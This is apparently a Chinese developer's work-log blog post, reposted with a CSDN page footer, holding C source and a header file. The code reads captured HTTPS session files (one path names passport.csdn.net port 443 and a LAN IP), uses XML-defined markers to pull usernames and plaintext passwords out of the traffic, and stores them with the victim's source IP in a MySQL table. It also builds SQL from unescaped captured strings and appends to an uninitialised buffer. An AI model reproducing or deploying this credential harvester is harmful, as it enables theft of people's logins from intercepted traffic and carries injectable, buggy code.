工作日志2014-06-10(实现C语言解析XML获得查询关键字)

#include "GetInfo.h"
char szdomain[64];
int GetInfoToWrite(char* path, char* domain,Write_t* pwrite);
int SearchForContent(char* FilePath,Write_t *pwrite);
int main()
{
    //ReadFeatureFromXml("163.com");
    char* PATH="/root/Desktop/login/2014-06-27---passport.csdn.net_443---192.168.1.24_62213.http";
    //SearchForContent(PATH);
//    Write_t pwrite;
//    GetInfoToWrite("22","22",&pwrite);
    Write_t pt;
    char* domain= "passport.csdn.net";

    GetInfoToWrite(PATH,domain,&pt);


    return 0;
}


int GetInfoToWrite(char* path, char* domain,Write_t* pwrite)
{
    strncpy(szdomain,domain,sizeof(szdomain)-1);
    szdomain[sizeof(szdomain)-1] = '\0';
    if(OP_SUCCESS == ReadFeatureFromXml(domain))
    {
        printf("Start Process....\n");
     }else
    {
        printf("ReadXML Failed..\n");
        return OP_FAILED;
    }

    if(OP_SUCCESS==SearchForContent(path,pwrite))
    {
        printf("Search and Write Complete..\n");
        free(pF.FIdBegin);
        free(pF.FIdEnd);
        free(pF.FPBegin);
        free(pF.FPEnd);
        mysql_close(conn);
        return OP_SUCCESS;
    }else
    {
        printf("Search and Write Failed..\n");
        free(pF.FIdBegin);
        free(pF.FIdEnd);
        free(pF.FPBegin);
        free(pF.FPEnd);
        return OP_FAILED;
    }

}


int InitMysqlConnect(void)
{
    mysql_init(conn);
    if(!mysql_real_connect(conn, "127.0.0.1", "root", "", "SecDR_F118", 0, NULL, 0))
    {
        printf("connect mysql %d time error \n %s \n", mysql_errno(conn),mysql_error(conn));
        mysql_close(conn);
        sleep(1);
        return OP_FAILED;
    }
    printf("\tInit Mysql Ok !!\n\n");

    return OP_SUCCESS;
};

int UseMysqlStr(char *sqlcmd)
{
    if(strlen(sqlcmd)==0)
    {
        printf("Nothing in sqlcmd !\n");
        return OP_FAILED;
    }

    if (mysql_query(conn, sqlcmd))
    {
        //如果错误,把sql语句记录到日志中去
        printf("-------------------line------------------\n");
        printf("%s",sqlcmd);
        printf("\n-------------------line------------------\n");
        printf("mysql error %s\n", mysql_error(conn));
        if (1062 == mysql_errno(conn))//
        {
             printf("mysql error 1062\n");
            return OP_FAILED;
        }
        mysql_close(conn);
        if (OP_SUCCESS != InitMysqlConnect())
        {
            printf("mysql Init Error in Function \n");
            return OP_FAILED;
        }
        if (mysql_query(conn, sqlcmd))
        {
            printf("Insert or update Data error \n");
            mysql_close(conn);
            if (OP_SUCCESS != InitMysqlConnect())
            {
                printf("mysql Init Error i !!!\n");
                return OP_FAILED;
            }
            return OP_FAILED;
        }

    }
     return OP_SUCCESS;
};







int FindKeyWord(char *sour,Write_t *pwrite)
{
    char username[128];
    char password[128];
    //printf("begin :%s\n",pF.FIdBegin);
    //printf("end :%s\n",pF.FPBegin);
    //printf("buf :%s\n ",sour);
     if( strstr(sour,(char*)(pF.FIdBegin))==NULL
      || strstr(sour,(char*)(pF.FIdEnd))==NULL)
     {
         printf("Can't Matching The Feature Error: Please Check XML Feature....\n");
        return OP_FAILED;
     }
    while(*sour != '\0')
    {

        if( NULL == strstr(sour,(char*)(pF.FIdEnd)) || NULL == strstr(sour,(char*)(pF.FIdBegin))
        || strstr(sour,(char*)(pF.FPBegin))==NULL
        || strstr(sour,(char*)(pF.FPEnd))==NULL)
        {
            break;
        }

        char *p=strstr(sour,(char*)(pF.FIdBegin));
        sour = p+xmlStrlen(pF.FIdBegin);
        char *q=strstr(p,(char*)(pF.FIdEnd));
        sour = q+xmlStrlen(pF.FIdEnd);
        char *p1=p+xmlStrlen((pF.FIdBegin));
        int i=q-p1;

        if(i>100 || i<=0)
        {
            printf("Invalid Length Of Username \n");
            continue;
        }
        username[i] = '\0';
        memcpy(username,p1,i);

        //strcpy(pInfo.username,username);
        url_decode(username,username);
        printf("username=%s \n",username);
        p=strstr(sour,(char*)(pF.FPBegin));
        sour = p+xmlStrlen(pF.FPBegin);
        q=strstr(p,(char*)(pF.FPEnd));
        sour = q+xmlStrlen(pF.FPEnd);
        p1=p+xmlStrlen((pF.FPBegin));
        i=q-p1;
        if(i>100 || i<=0)
        {
            printf("Invalid Length Of Password \n");
            continue;
        }
        password[i] = '\0';
        memcpy(password,p1,i);
        //strcpy(pInfo.password,password);
        url_decode(password,password);
        printf("password=%s \n",password);

        if(pwrite==NULL)
        {
            printf("error : pwrite is NULL");
            return OP_FAILED;
        }



        //select from database .

        char sqlupdate[1024];
        //memset(sqlupdate,0,1024);
         snprintf(sqlupdate, sizeof(sqlupdate)-1, FORMAT_UPDATE_INFORES,username,szdomain);

        char sqlcmd[1024];
        //memset(sqlcmd,0,1024);
         snprintf(sqlcmd, sizeof(sqlcmd)-1, FORMAT_INSERT_INFORES,szdomain,pwrite->szSrcIP, pwrite->szAccount,username,password);

        char sqlselect[1024];
        //memset(sqlselect,0,1024);
         snprintf(sqlselect, sizeof(sqlselect)-1, FORMAT_SELECT_INFORES,username,szdomain);

        int gs=mysql_query(conn,sqlselect);
        if(gs){
            printf("select error:\n");
        }

        int num_rows=0;
        MYSQL_RES* res_ptr = mysql_store_result(conn);
        if(res_ptr != NULL){
            num_rows = mysql_num_rows(res_ptr);
            printf("Well . There exist %lu data .\n",(unsigned long)num_rows);
        }
        else
        {
            return OP_FAILED;
        }

        if(num_rows!=0)
        {
            printf("update..\n");
             if(UseMysqlStr(sqlupdate))
            {
                    printf("update  failed  \n");
                    return OP_FAILED;
            }
         }else
        {
            printf("insert..\n");
            if(UseMysqlStr(sqlcmd))
            {
                    printf("insert  failed  \n");
                    return OP_FAILED;
            }
        }
        // mysql_free_result(res_ptr);

    }


    return OP_SUCCESS;
}


int SearchForContent(char* FilePath,Write_t *pwrite)
{

    printf("FILE PATH: %s \n",FilePath);

    if (OP_SUCCESS != InitMysqlConnect())
    {
        printf("mysql Init Error in Function \n");
        return OP_FAILED;
    }
    char insertRaw[1024] = {0};
    snprintf(insertRaw,sizeof(insertRaw),FORMAT_INSERT_RAW,szdomain,pwrite->szAccount,pwrite->szSrcIP,FilePath);

    if(OP_SUCCESS != UseMysqlStr(insertRaw))
    {
            printf("insert into RawResult  Failed  \n");
            return OP_FAILED;
    }
    FILE *fp =NULL;
    if(NULL == (fp=fopen(FilePath,"rb")))
    {
        fprintf(stderr,"Cannot Open The File ..\n");
        return OP_FAILED;
    }

    fseek(fp,0,SEEK_END);
    int number=ftell(fp);
    fseek(fp,0,SEEK_SET);



    if(number==0)
    {
        printf("Empty File...\n");
        return OP_FAILED;
    }
    char* buf=(char*)malloc(sizeof(char)*number);
    char tmp[1000];
    while(!feof(fp))
    {
        fgets(tmp,1000,fp);
        strcat(buf,tmp);
    }

//     int fr= fread(buf,1,number,fp);
//     printf(" buf : %s\n  fr=%d\n",buf,fr);
//     printf(" buf len :%d \n",strlen(buf));
   // printf("sizeof(char)*number = %d\n",sizeof(char)*number);
   // printf(" rt :%d, number = %d\n",rt, number);

    if(OP_SUCCESS == FindKeyWord(buf,pwrite))
    {
        printf("Process   Success..\n---\n");
        fclose(fp);
        free(buf);
        return OP_SUCCESS;
    }else
    {
        printf("Process   Failed..\n---\n");
        fclose(fp);
        free(buf);
        return OP_FAILED;
    }


}


int ReadFeatureFromXml(char* type)
{
    xmlDocPtr doc = NULL;
    xmlNodePtr cur = NULL;


    xmlKeepBlanksDefault(0);
    doc = xmlParseFile(Xmlpath);

    if(doc == NULL)
    {
        fprintf(stderr,"XML docment not parsed succussfully!..\n");
        return OP_FAILED;
    }

    cur = xmlDocGetRootElement(doc);

    if(cur == NULL)
    {
        fprintf(stderr,"empty document!.\n");
        xmlFreeDoc(doc);
        return OP_FAILED ;
    }
    cur = cur->children;

    //printf("%s \n",cur->name);
    xmlChar* attr=NULL;
//    cur = cur->next;
//    if(!(xmlStrcmp(cur->name,(const xmlChar*)"MailType")))
//    {
//           attr = xmlGetProp(cur,"type");
//           printf("attr = %s \n",attr);
//           xmlFree(attr);
//    }

    while (cur != NULL)
    {
        if(!(xmlStrcmp(cur->name,(const xmlChar*)"MailType")))
        {
            attr = xmlGetProp(cur,(const xmlChar*)"type");

            if(!xmlStrcmp(attr,(const xmlChar*)type))
            {

                xmlChar* tmp = xmlNodeGetContent(cur->children->children);
                pF.FIdBegin =  malloc(xmlStrlen(tmp)+1);
                memset(pF.FIdBegin,0,xmlStrlen(tmp)+1);
                memcpy(pF.FIdBegin,tmp,xmlStrlen(tmp));

                tmp = xmlNodeGetContent(cur->children->children->next);
                pF.FIdEnd = malloc(xmlStrlen(tmp)+1);
                memset(pF.FIdEnd,0,xmlStrlen(tmp)+1);
                memcpy(pF.FIdEnd,tmp,xmlStrlen(tmp));

                tmp = xmlNodeGetContent(cur->children->next->children);
                pF.FPBegin=malloc(xmlStrlen(tmp)+1);
                memset(pF.FPBegin,0,xmlStrlen(tmp)+1);
                memcpy(pF.FPBegin,tmp,xmlStrlen(tmp));

                tmp = xmlNodeGetContent(cur->children->next->children->next);
                pF.FPEnd=malloc(xmlStrlen(tmp)+1);
                memset(pF.FPEnd,0,xmlStrlen(tmp)+1);
                 memcpy(pF.FPEnd,tmp,xmlStrlen(tmp));
            }
        }

        cur = cur->next;
    }
    if(pF.FIdBegin==NULL||pF.FIdEnd==NULL || pF.FPBegin==NULL || pF.FPEnd==NULL)
    {
        printf("XML Feature Parsed Failed: can't find.\n");
        return OP_FAILED;
    }
    return OP_SUCCESS;
}

 xxx.h

#include <libxml/tree.h>
#include <libxml/parser.h>
#include <libxml/xmlmemory.h>
#include <mysql/mysql.h>
#include "KCommon.h"


#define FORMAT_INSERT_INFORES "insert into ssltab_InfoResult(domain ,ipaddr, account, username, password, cap_time) values (\"%s\",\"%s\", \"%s\",\"%s\", \"%s\", now());"
#define FORMAT_SELECT_INFORES "select * from ssltab_InfoResult where username=\"%s\" and domain=\"%s\";"
#define FORMAT_UPDATE_INFORES  "update ssltab_InfoResult set cap_time=now() where username=\"%s\" and domain=\"%s\" ;"
#define FORMAT_INSERT_RAW "insert into ssltab_RawResult(domain,account,src_ip,res_path,cap_time) values (\"%s\",\"%s\",\"%s\",\"%s\",now());"
char Xmlpath[]="/home/SecDR_F118/conf/tmp/info.xml";
int ReadFeatureFromXml(char* type);
//int SearchForContent(char* FilePath,Write_t *pwrite);
//int FindKeyWord(char *sour,Write_t *pwrite);
int UseMysqlStr(char *sqlcmd);



typedef struct tWrite{
    char szAccount[64];
     char szSrcIP[30];
    time_t nTime;
}Write_t;

struct Info{
    char username[100];
    char password[100];
}pInfo;

struct Feature{

    xmlChar* FIdBegin;
    xmlChar* FIdEnd;
    xmlChar* FPBegin;
    xmlChar* FPEnd;
}pF;

static MYSQL conn[1];



/* 16进制字符表 */
static const char c2x_table[] = "0123456789ABCDEF";
 /* 字符转16进制 */
//static unsigned char *c2x(unsigned what,unsigned char *where)
// {
//     *where++ = '%';
//     *where++ = c2x_table[what>>4];
//     *where++ = c2x_table[what&0xf];
//     return where;
// }
 /* 16进制转字符 */
static char x2c(const char *what)
 {
     register char digit;

      digit = ((what[0] >= 'A') ? ((what[0] & 0xdf) - 'A') + 10 : (what[0] - '0'));
      digit *= 16;
      digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A') + 10 : (what[1] - '0'));
     return (digit);
 }

size_t url_decode(const char *src,char *dest)
 {
 char *cp=dest;

 while(*src!='\0')
 {
   if(*src=='+')
   {
    *dest++=' ';
   }
   else if(*src=='%')
   {
    int ch;
     ch=x2c(src+1);
    *dest++=ch;
     src+=2;
   }
   else
   {
    *dest++=*src;
   }
    src++;
 }
 *dest='\0';
return(dest-cp);
}

 

转载于:https://www.cnblogs.com/charlieadios/p/3780955.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值